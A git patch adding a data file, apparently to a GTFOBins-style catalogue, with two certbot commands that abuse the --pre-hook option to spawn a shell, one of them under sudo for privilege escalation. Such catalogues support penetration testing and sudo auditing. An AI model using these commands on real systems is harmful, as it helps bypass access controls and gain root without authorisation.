From 2b3fc9946af2c3c782b1b9203a15738c7f755a28 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 3 Apr 2021 14:32:45 +0200 Subject: [PATCH] add data source for certbot --- data/certbot.json | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 data/certbot.json diff --git a/data/certbot.json b/data/certbot.json new file mode 100644 index 0000000..a8c1cf6 --- /dev/null +++ b/data/certbot.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "TF=$(mktemp -d)\ncertbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" + } + ] + } +}